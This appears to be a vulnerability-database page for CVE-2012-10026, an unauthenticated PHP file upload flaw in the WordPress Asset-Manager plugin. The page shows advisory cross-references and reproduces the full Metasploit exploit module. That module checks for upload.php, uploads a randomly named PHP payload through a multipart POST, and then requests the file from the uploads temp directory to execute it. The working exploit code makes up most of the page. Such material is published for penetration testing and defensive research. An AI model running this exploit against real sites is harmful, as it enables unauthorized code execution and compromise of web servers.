WordPress Asset-Manager PHP File Upload Vulnerability
🗓️ 26 May 2012 00:00:00Reported by Sammy FORGIT, James Fitts <[email protected]>Type
metasploit🔗 www.rapid7.com👁 19 Views
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2012-10026 | 5 Aug 202520:06 | – | attackerkb | |
| CVE-2012-10026 | 29 May 201815:50 | – | circl | |
| WordPress plugin Asset-Manager 安全漏洞 | 5 Aug 202500:00 | – | cnnvd | |
| CVE-2012-10026 | 5 Aug 202520:06 | – | cve | |
| CVE-2012-10026 WordPress Plugin Asset-Manager <= 2.0 PHP File Upload | 5 Aug 202520:06 | – | cvelist | |
| EUVD-2012-6570 | 7 Oct 202500:30 | – | euvd | |
| CVE-2012-10026 | 5 Aug 202520:15 | – | nvd | |
| WordPress Asset Manager Plugin 0.2 'upload.php' Arbitrary File Upload Vulnerability - Active Check | 8 Jun 201200:00 | – | openvas | |
| PT-2025-31978 · WordPress · Asset-Manager | 5 Aug 202500:00 | – | ptsecurity | |
| CVE-2012-10026 | 7 Aug 202520:31 | – | redhatcve |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
'Description' => %q{
This module exploits a vulnerability found in Asset-Manager <= 2.0 WordPress
plugin. By abusing the upload.php file, a malicious user can upload a file to a
temp directory without authentication, which results in arbitrary code execution.
},
'Author' => [
'Sammy FORGIT', # initial discovery
'James Fitts <fitts.james[at]gmail.com>' # metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2012-10026'],
['OSVDB', '82653'],
['BID', '53809'],
['EDB', '18993'],
['URL', 'http://web.archive.org/web/20150106144832/http://www.opensyscom.fr:80/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html'],
['WPVDB', '6106']
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['asset-manager <= 2.0', {}]],
'DefaultTarget' => 0,
'DisclosureDate' => '2012-05-26',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def check
uri = normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php')
res = send_request_cgi(
'method' => 'GET',
'uri' => uri
)
return Exploit::CheckCode::Unknown('Could not determine the target status') if res.nil? || res.code != 200
Exploit::CheckCode::Detected('The target service was detected')
end
def exploit
payload_name = "#{rand_text_alpha(5)}.php"
data = Rex::MIME::Message.new
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
post_data = data.to_s
print_status("Uploading payload #{payload_name}")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(wordpress_url_plugins, 'asset-manager', 'upload.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
)
if res.nil? || res.code != 200 || res.body !~ /#{payload_name}/
fail_with(Failure::UnexpectedReply, "#{peer} - Upload failed")
end
register_files_for_cleanup(payload_name)
print_status("Executing payload #{payload_name}")
send_request_raw(
'uri' => normalize_uri(wordpress_url_wp_content, 'uploads', 'assets', 'temp', payload_name),
'method' => 'GET'
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 May 2012 00:00Current
5.6Medium risk
Vulners AI Score5.6
CVSS 410
EPSS0.01194
SSVC